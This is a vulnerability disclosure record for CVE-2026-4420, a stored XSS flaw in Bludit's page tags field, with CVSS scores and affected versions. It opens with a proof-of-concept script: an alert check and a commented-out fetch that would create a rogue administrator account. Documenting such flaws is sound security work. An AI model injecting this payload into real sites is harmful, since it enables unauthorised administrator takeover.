CVE-2026-4420

<!-- PoC for CVE-2026-4420: Stored XSS in Bludit Tags --> <!-- 1. Login as a user with page creation privileges (Author/Editor/Admin). --> <!-- 2. Create a new page/article. --> <!-- 3. Inject the following payload into the 'Tags' field. --> <script> // Example 1: Simple alert to verify vulnerability alert('XSS Vulnerability Confirmed'); // Example 2: Privilege Escalation (Conceptual) // This requires knowing the specific API endpoints for user creation // and the CSRF token if implemented, simplified for demonstration. /* fetch('/admin/new-user', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=attacker&password=pass123&role=Admin' }); */ </script>

{"cve": {"id": "CVE-2026-4420", "sourceIdentifier": "[email protected]", "published": "2026-04-07T11:16:07.810", "lastModified": "2026-04-20T16:51:25.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bludit is vulnerable to Stored Cross-Site Scripting (XSS) in its page creating functionality. An authenticated attacker with page creation privileges (such as Author, Editor, or Administrator) can embed a malicious JavaScript payload in the tags field of a newly created article. This payload will be executed when a victim visits the URL of the uploaded resource. The uploaded resource itself is accessible without authentication. Critically, this vulnerability could be used to automatically create a new site administrator if the victim has enough privileges. \n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only versions 3.17.2 and 3.18.0 were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bludit:bludit:3.17.2:*:*:*:*:*:*:*", "matchCriteriaId": "640F7694-63A8-4FBA-965F-66177BDC575B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bludit:bludit:3.18.0:*:*:*:*:*:*:*", "matchCriteriaId": "82F37ECF-F541-4C19-AE1D-AA099966740F"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2026/04/CVE-2026-4420", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/bludit/bludit/", "source": "[email protected]", "tags": ["Product"]}]}}